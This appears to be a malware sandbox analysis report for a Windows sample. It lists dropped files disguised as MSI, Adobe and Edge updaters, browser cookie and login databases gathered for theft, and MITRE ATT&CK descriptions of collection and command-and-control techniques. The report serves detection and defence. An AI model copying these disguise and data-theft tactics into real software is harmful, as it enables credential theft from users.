Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\UhOL8vG3NSxPpn1EjM9IIxV.zip

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\0oMfHkGWFh4pWeb Data

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\3b6N2Xdh3CYwplaces.sqlite

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre